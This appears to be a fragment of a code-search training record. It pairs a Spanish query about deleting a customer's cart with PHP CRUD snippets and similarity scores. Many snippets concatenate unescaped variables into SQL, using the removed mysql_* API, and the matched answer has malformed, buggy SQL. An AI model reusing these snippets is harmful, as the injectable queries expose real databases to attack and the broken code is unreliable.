\"<a href=\\\"affittuario_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_affittuario.gif\\\" title=\\\"Mostra persone disposte ad acquistare l'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t\t//$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 4: // cerca affitto\n\t\t//\t$opzione =\"<a href=\\\"popup_affitti.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_affitti.gif\\\" title=\\\"Mostra Richieste di affitti del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"affitti_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_cerco_affitti.gif\\\" title=\\\"Mostra gli immobili in affitto adatti alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\t$str.= $visualizza;\n\t\t\t\n\t\t\tbreak;\n\t}\n\treturn $str;\n}", "public function cliente()\n {\n return $this->belongsTo('App\\Models\\ClienteModel', 'id_cliente');\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getClient(){ return UserData::getById($this->client_id); }", "public function primerCliente($id_usuario,$nombreE,$rfcE,$cpE,$correo1E,$observacionesE,$fijo,$logo){\r\n\t\t$sql = \"INSERT INTO tbl_clientesclientes (id_usuario,logo,nombreE,rfcE,cpE,correo1E,observacionesE,estatus,fijo)VALUES('$id_usuario','$logo','$nombreE','$rfcE','$cpE','$correo1E','$observacionesE','1','$fijo')\";\r\n return ejecutarConsulta($sql); \t\r\n\t}", "function afficherclients(){\r\n\t\t$sql=\"SElECT * From clients\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n }\t\r\n\t}", "public function cliente()\n\t{\n\t\treturn $this->belongsTo(Cliente::class);\n\t}", "function scheda_cliente($id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$str=\"\";\n\tif (isset($id_cli)) {\n\t\t$q=\"SELECT * FROM cliente WHERE id_cli=$id_cli\";\n\t\t$r=$db->query($q);\n\t\t$ro=mysql_fetch_array($r);\n\t\t\n\t\t$str.= \"<div class=\\\"clienti\\\">\";\n\t\t$str.= \"<TABLE id=\\\"clienti1\\\">\\n\";\n\t\t$str.=\"<tr>\\n\";\n\t\t$str.=\"<td colspan=\\\"3\\\" class=\\\"clienti_header_top\\\">\\n\";\n\t\t$str.=\"Dati cliente \".nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</td>\\n\";\n\t\t$str.=\"</tr>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Nominativo\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.=\"<a href=\\\"cliente_show.php?id_cli=\";\n\t\t$str.= $ro['id_cli'];\n\t\t$str.=\"\\\">\";\n\t\t$str.= nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</a>\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Tipo di Cliente\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= tipo_cliente($ro['id_tipo_cliente']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"E-Mail\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['email'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Codice Fiscale\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['codfisc'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Citt&agrave;\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= citta_stampa($ro['id_citta']);\n\t\t\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Via\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['via'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Fisso\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_fisso'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Cellulare\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_mobile'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Note\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['nota'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Inserito Da\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= idUtenteToNome($ro['id_utente_ins']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"</TABLE>\";\n\t\t\n\t\t$str.=\"</div>\";\n\n\t}\n\telse {\n\t\t$str.=\"<center>Nessun Cliente selezionato</center>\";\n\t}\n\treturn $str;\n}", "public function cliente() {\r\n\t\treturn $this->belongsTo('App\\Cliente');\r\n\t}", "public static function getClient($id){\n return (new Database('cliente'))->select('id = '.$id)->fetchObject(self::class);\n }", "public function getClient()\r\n {\r\n \t$this->db->from('vclient');\r\n \t$query = $this->db->get();\r\n \treturn $query->result();\r\n\r\n }", "public function comClientes(Request $request)\n {\n $cliente = Cliente::pluck('name', 'nombre', 'apellido1');\n return $cliente;\n }", "public function getIndirizzoClinica() {\r\n\r\n return $this->_via . \" \" . $this->_numeroCivico . \" \" . $this->_localita . \" \" . $this->_provincia;\r\n }", "public function getCedente() {\n return $this->oCedente;\n }", "public function getEmailCliente($clioid) {\r\n\r\n $clioid = $clioid ? $clioid : \"NULL\";\r\n\r\n $sql = \"SELECT Coalesce(prehemail_cliente, cliemail) AS prehemail_cliente\r\n FROM clientes\r\n left JOIN pre_rescisao\r\n ON presclioid = clioid \r\n LEFT JOIN pre_rescisao_hist \r\n ON prehpresoid = presoid \r\n WHERE clioid = $clioid \r\n ORDER BY prehdata DESC \r\n LIMIT 1\";\r\n\r\n $result = $this->_fetchAssoc(pg_query($this->_adapter, $sql));\r\n\r\n return $result ? $result['prehemail_cliente'] : ''; \r\n }" ]
[ "0.739257", "0.72925794", "0.7164855", "0.712227", "0.71154654", "0.70910746", "0.70649344", "0.7041795", "0.70335627", "0.70205545", "0.7004748", "0.69522804", "0.6882455", "0.68754077", "0.6823455", "0.6813117", "0.6778424", "0.6774241", "0.6763581", "0.67402273", "0.6739922", "0.6737381", "0.6736825", "0.6736825", "0.6736825", "0.6717356", "0.6716794", "0.6695683", "0.66816646", "0.66587675", "0.6622843", "0.6589045", "0.6583716", "0.6582419", "0.6551492", "0.6548168", "0.6544865", "0.65448153", "0.6534252", "0.6526265", "0.65118885", "0.65034205", "0.6490692", "0.648677", "0.64684075", "0.6463166", "0.6460962", "0.64603865", "0.6457899", "0.6450864", "0.64487207", "0.6414926", "0.6399935", "0.6393106", "0.6391259", "0.63810813", "0.63810813", "0.638099", "0.6366062", "0.6359253", "0.63545036", "0.6345407", "0.6337473", "0.6336078", "0.6320766", "0.63200986", "0.63179725", "0.629135", "0.628705", "0.62868047", "0.6285809", "0.628446", "0.62743425", "0.6264522", "0.62624377", "0.6261957", "0.6255847", "0.62544006", "0.6243144", "0.623429", "0.62309915", "0.6227609", "0.62239224", "0.6223314", "0.622068", "0.62111163", "0.62074596", "0.62045723", "0.62045723", "0.62037075", "0.6196971", "0.6186487", "0.6181145", "0.6169621", "0.6163024", "0.61465514", "0.61407286", "0.61407214", "0.6138614", "0.6135754", "0.61318207" ]
0.0
-1
Elimina el carrito de un cliente
function EliminaDetallePedido($NumPedido,$CodArti){ if($this->con->conectar()==true){ return mysql_query("DELETE * FROM `DET_PedidosSolicitados` WHERE `NumPedido` = '" .$NumPedido. "' and `NumPedido` = '" .$CodArti. "'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function eliminarClientes($idCliente){\n\t\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"DELETE FROM users WHERE id = $idCliente;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'CUD');\n\t\t\treturn $rst;\n\t\t}", "public function removeAction()\n {\n if ( $this->_hasParam('razaoSocialTomador') == false )\n {\n $this->_redirect('clientes/list');\n }\n \t\t$modelo = new Application_Model_Clientes();\n $razaoSocialTomador = $this->_getParam('razaoSocialTomador');\n $modelo->removeByRazaoSocial($razaoSocialTomador);\n\n// $cnte = $modelo->removeByRazaoSocial($razaoSocialTomador);\n\t\t$this->_redirect('clientes/list');\n // action body\n }", "public function EliminarClientes()\n\t{\n\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t$sql = \" select codcliente from ventas where codcliente = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from clientes where codcliente = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcliente);\n\t\t\t\t$codcliente = base64_decode($_GET[\"codcliente\"]);\n\t\t\t\t$stmt->execute();\n\necho \"<div class='alert alert-info'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-check-square-o'></span> EL CLIENTE FUE ELIMINADO EXITOSAMENTE </center>\"; \necho \"</div>\";\n\t\t\t\texit;\n\n\t\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> ESTE CLIENTE NO PUEDE SER ELIMINADO, TIENE VENTAS ASOCIADAS ACTUALMENTE </center>\"; \necho \"</div>\"; \n\t\t\t\texit;\n\t\t\t} \n\n\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> USTED NO TIENE ACCESO PARA ELIMINAR CLIENTES, NO ERES EL ADMINISTRADOR DEL SISTEMA </center>\";\necho \"</div>\";\n\t\t\texit;\n\t\t}\t\n\t}", "public function eliminarPreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->idCliente);\n return Database::executeRow($sql, $params);\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "public function excluirCliente($reg){\n //$conexao = $c->conexao();\n\n $sql = \"DELETE FROM tbclientes WHERE reg = '$reg' \"; \n \n $mensagem = \"O Usuário \".$_SESSION['email'].\" excluiu o Cliente com o REG $reg \";\n $this->salvaLog($mensagem);\n\n return $this->conexao->query($sql); \n \n\n }", "public function deletaCliente($id) {\n }", "function deletePreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->cliente);\n return Database::executeRow($sql, $params);\n }", "public function eliminarCliente($id) {\n $consultaExistenciacliente = $this->db->select(\"SELECT * FROM cliente \"\n . \"WHERE id = '\" . $id . \"' \");\n\n if ($consultaExistenciacliente != null) {\n $this->db->delete('cliente', \"`id` = '{$id}'\");\n } else {\n //Sino Inserto datos de Pre-Matricula del Estudiante\n echo 'Error...</br>Ya existe un cliente con ese ID';\n die;\n }\n }", "public function cliente_delete(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t$respuesta = $this->Cliente_model->delete($cliente_id);\n\t\t\n\t\t$this->response($respuesta);\n\t}", "function eliminarViajeroInterno(){\n\t\t$this->procedimiento='obingresos.ft_viajero_interno_ime';\n\t\t$this->transaccion='OBING_CVI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_viajero_interno','id_viajero_interno','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy($id_cliente){}", "public function excluir(){\r\n\t\t$instancia = ServicoDAO::getInstancia();\r\n\t\t// executando o metodo //\r\n\t\t$servico = $instancia->excluir($this->getId());\r\n\t\t// retornando o resultado //\r\n\t\treturn $servico;\r\n\t}", "static public function ctrEliminarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$idCliente = $_GET[\"idCliente\"];\n\n\t\t\t$respuesta = ModeloClientes::mdlEliminarCliente($idCliente);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "function elimina_vetrina()\n {\n $peer = new VetrinaPeer();\n $do = $peer->find_by_id(Params::get(\"id_vetrina\"));\n $peer->delete($do);\n\n $peer2 = new ProdottoServizioVetrinaPeer();\n $peer2->id_vetrina__EQUAL(Params::get(\"id_vetrina\"));\n $elenco_prodotti_servizi = $peer2->find();\n foreach ($elenco_prodotti_servizi as $ps)\n $peer2->delete($ps);\n\n if (is_html())\n return Redirect::success();\n else\n return Result::ok();\n }", "private function eliminarEmpleadoRepetido()\n {\n //Sino me los trata como strings\n $this->empleados = array_unique($this->empleados, SORT_REGULAR);\n }", "public static function ctrEliminarCliente(){\n\n\tif (isset($_GET['idCliente'])) {\n\t\t\n\t\t$tabla = 'clientes';\n\n\t\t$datos = $_GET['idCliente'];\n\n\t\t$respuesta = ModeloCliente::mdlEliminarCliente($tabla, $datos);\n\n\t\tif ($respuesta == 'ok') { \n\n\t\t\t?>\n\n\t\t\t<script>\n\n\t\t\t\tswal({\n\n\t\t\t\t\ttype: \"success\",\n\t\t\t\t\ttitle: \"¡El usuario se eliminó correctamente!\",\n\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\tcloseOnConfirm: false\n\n\t\t\t\t}).then((result)=>{\n\n\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t}\n\n\t\t\t\t});\n\n\n\t\t\t</script> \n\n\t\t\t<?php \n\t\t}\n\t}\n}", "function removeServico($campos){\n\t\t\t$itemID = $campos['InputDelServico'];\n\t\t\tfor($i=0;$i<sizeof($itemID);$i++){\n\t\t\t\t\t\t$sql=\" DELETE FROM vekttor_venda_servico WHERE id = '$itemID[$i]'\";\n\t\t\t\t\t\tmysql_query($sql);\n\t\t\t}\n}", "public static function crtEliminarCliente(){\n if (isset($_GET['idCliente'])) {\n\n $tabla = \"clientes\";\n $datos = $_GET['idCliente'];\n\n $respuesta = ModeloClientes::mdlEliminarCliente($tabla, $datos);\n\n if ($respuesta == \"ok\") {\n\n echo '<script>\n Swal.fire({\n type: \"success\",\n title: \"¡El cliente ha sido borrado correctamente!\",\n showConfirmButton: true,\n confirButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then(function(result){\n if (result.value) {\n window.location = \"clientes\";\n } \n })\n </script>';\n }\n }\n }", "public function tarifClientRemoveAction(Request $request)\n {\n if ($request->isXmlHttpRequest()) {\n $id = $request->request->get('id', '');\n\n $em = $this->getDoctrine()\n ->getManager();\n if ($id != '') {\n try {\n //Suppression\n if ($id != 'new_row') {\n $tarif = $this->getDoctrine()\n ->getRepository('AppBundle:FactTarifClient')\n ->find($id);\n if ($tarif) {\n $em->remove($tarif);\n $em->flush();\n $data = array(\n 'erreur' => false,\n );\n return new JsonResponse(json_encode($data));\n }\n }\n } catch (\\Exception $ex) {\n return new Response($ex->getMessage(), 500);\n }\n\n }\n throw new NotFoundHttpException(\"Tarif introuvable.\");\n } else {\n throw new AccessDeniedException('Accès refusé.');\n }\n }", "function eliminarServicio(){\r\n\t\t$this->procedimiento='gev.f_tgv_servicio_ime';\r\n\t\t$this->transaccion='tgv_SERVIC_ELI';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\t\t\t\t\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_servicio','id_servicio','int4');\r\n\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EncontroComDeus WHERE id = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->id );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "static public function ctrBorrarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$tabla =\"cliente\";\n\t\t\t$datos = $_GET[\"idCliente\"];\n\n\t\t\tif($_GET[\"fotoCliente\"] != \"\"){\n\n\t\t\t\tunlink($_GET[\"fotoCliente\"]);\n\t\t\t\trmdir('vistas/img/clientes/'.$_GET[\"cliente\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloClientes::mdlBorrarCliente($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal.fire({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El Cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"cliente\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "public function EliminarCaja()\n\t\t{\n\n\t\t\t$sql = \" select codcaja from ventas where codcaja = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcaja\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from cajas where codcaja = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcaja);\n\t\t\t\t$codcaja = base64_decode($_GET[\"codcaja\"]);\n\t\t\t\t$stmt->execute();\n\n\t\t\t\theader(\"Location: cajas?mesage=1\");\n\t\t\t\texit;\n\n\t\t\t}else {\n\n\t\t\t\theader(\"Location: cajas?mesage=2\");\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}", "protected function removeClient() {\n\n\t\ttry {\n\n\t\t\t$field_id = Request::input('pk');\n\n\t\t\t$contentObj = ConnectContentClient::find($field_id);\n\n\t\t\t$contentObj->removeConnectClient();\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success'));\n\n\t\t} catch (\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\t}", "public function eliminar() {\n\t\t\n\t\t\n\t\t$juradodni = $_GET[\"dniJurado\"];\n\t\t\n\t\t$this -> JuradoMapper -> delete($juradodni);\n\n\t\t\n\t\t$this -> view -> redirect(\"jurado\", \"listar\");\n\t\t//falta cambiar\n\t}", "public function deleteClient(): void\n {\n $value = $this->getConsoleInput(\n sprintf(\n \"Deleting client using:\\n 0 - %s\\n 1 - %s\\n\",\n $this->fieldsToFill[0]['label'],\n $this->fieldsToFill[1]['label']\n )\n );\n if (null === $value) {\n return;\n }\n $Client = new Client();\n switch ($value) {\n case 0:\n case 1:\n $criteria = $this->generateCriteria((int)$value, $Client);\n break;\n default:\n print \"Invalid field!\\n\";\n\n return;\n break;\n }\n\n if (null === $criteria) {\n return;\n }\n\n try {\n if ($this->repository->deleteBy($criteria, $Client)) {\n print \"Client deleted with success!\\n\";\n } else {\n print \"Error while deleting client.\\n\";\n }\n } catch (QueryException $e) {\n print $e->getMessage();\n }\n }", "public static function eliminarCliente($id_cliente)\n {\n self::$obj_cliente = new Cliente();\n self::$obj_cliente->setId_cliente($id_cliente);\n self::$obj_cliente->setAccion(\"eliminar\");\n return ClienteDao::crudClientes(self::$obj_cliente);\n\n }", "public function eliminar($objeto){\r\n\t}", "function rimuoviCliente($id_cliente){\nif(trovaCliente($id_cliente)){\n mysql_query(\"DELETE utente,sensore,rilevazione FROM utente\nINNER JOIN sensore ON `utente`.`id_cliente` = `sensore`.`id_clienteFK`\nINNER JOIN rilevazione ON `sensore`.`id_sensore` = `rilevazione`.`id_sensoreFK`\nWHERE id_cliente = '\".$id_cliente.\"' \");\n\nreturn true;\n}\n\nelse {\nreturn false;\n}\n}", "public function eliminar($con){\r\n\t\t$sql = \"DELETE FROM lineaspedidos WHERE idPedido='$this->idPedido' AND idProducto='$this->idProducto'\";\r\n\t\t// Ejecuta la consulta y devuelve el resultado\r\n\t\treturn ($con->query($sql));\r\n\t}", "function Eliminar()\n{\n /**\n * Se crea una instanica a Concesion\n */\n $Concesion = new Titulo();\n /**\n * Se coloca el Id del acuifero a eliminar por medio del metodo SET\n */\n $Concesion->setId_titulo(filter_input(INPUT_GET, \"ID\"));\n /**\n * Se manda a llamar a la funcion de eliminar.\n */\n echo $Concesion->delete();\n}", "public function eliminar()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n // Capturar el id enviado por GET\n $id = $_GET['id'];\n\n // Comprobar si no esta siendo utilizado en un reporte\n $comprobarForanea = Reporte::donde('tipo_reporte_id', $id)\n ->resultado();\n\n // Encontra el tipo de reporte por el id y capturarlo\n $tipoReporte = TipoReporte::encontrarPorID($id);\n\n\n if ( empty($comprobarForanea) ) {\n\n // Eliminar el tipo de reporte\n $tipoReporte->eliminar();\n\n\n // Guardar un mensaje de que se elimino correctamente en una cookie\n setcookie('mensaje', \"Se elimino correctamente el tipo de reporte ($tipoReporte->reporte)\", time() + 10, '/' );\n\n } else {\n\n // Guardar un mensaje de que se no se pudo eliminar\n setcookie('mensaje_error', \"El tipo de reporte ($tipoReporte->reporte) esta siendo utilizado en un reporte\", time() + 10, '/' );\n }\n\n\n // Redirigir a la tabla con todos los tipos de reporte\n header('Location: ../reportes/tipos_reporte');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n }", "public function clientDeleted($client)\n\t{\n\t\t//$this->intercomService->deleteIntercomUser($client->getEmail());\n\t}", "function removePacote($campos){\n\t\t\t$listDel = $campos['InputDelPacote'];\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($listDel)){\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<sizeof($listDel);$i++){\n\t\t\t\t\t\tif($listDel[$i] != 0){\n\t\t\t\t\t\t\t\t$sql = \" DELETE FROM vekttor_venda_pacote WHERE pacotes_id = '$listDel[$i]' AND vekttor_venda_id = '$campos[venda_id]'\";\n\t\t\t\t\t\t\t\t//echo $sql;\n\t\t\t\t\t\t\t\tmysql_query($sql);\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t/*Seleciona os pacote para trazer os modulos */\n\t\t\t\t\t$sqlPacote = mysql_query($tn=\" SELECT * FROM pacote_item WHERE pacote_id = '$listDel[$i]' \");\n\t\t\t\t\t\twhile($pct=mysql_fetch_object($sqlPacote)){\n\t\t\t\t\t\t\t\t$modulos[] = $pct->sis_modulo_id;\n\t\t\t\t\t\t}\n\t\t\t\t} /*Fim de For*/\n\t\t\t\t\n\t\t\t\t\tfor($j=0;$j<sizeof($modulos);$j++){\n\t\t\t\t\t\t\t$sqlModulos = \" DELETE FROM usuario_tipo_modulo WHERE modulo_id = '$modulos[$j]' AND usuario_tipo_id = '$campos[id_usuario_tipo]'\";\n\t\t\t\t\t\t\tmysql_query($sqlModulos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n}", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "public static function eliminar(){\n if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n $cita = Cita::find($_POST['id']);\n $cita->eliminar();\n header('Location:' . $_SERVER['HTTP_REFERER']);\n }\n }", "function eliminarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_herrajeaccesorio','id_herrajeaccesorio','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function EliminarProveedores()\n\t\t{\n\t\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t\t$sql = \" select codproveedor from compras where codproveedor = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproveedor\"])) );\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\t\tif($num == 0)\n\t\t\t\t{\n\n\t\t\t\t\t$sql = \" delete from proveedores where codproveedor = ? \";\n\t\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t\t$stmt->bindParam(1,$codproveedor);\n\t\t\t\t\t$codproveedor = base64_decode($_GET[\"codproveedor\"]);\n\t\t\t\t\t$stmt->execute();\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=1\");\n\t\t\t\t\texit;\n\n\t\t\t\t}else {\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=2\");\n\t\t\t\t\texit;\n\t\t\t\t} \n\n\t\t\t} else {\n\n\t\t\t\theader(\"Location: proveedores?mesage=3\");\n\t\t\t\texit;\n\t\t\t}\t\n\t\t}", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "protected function 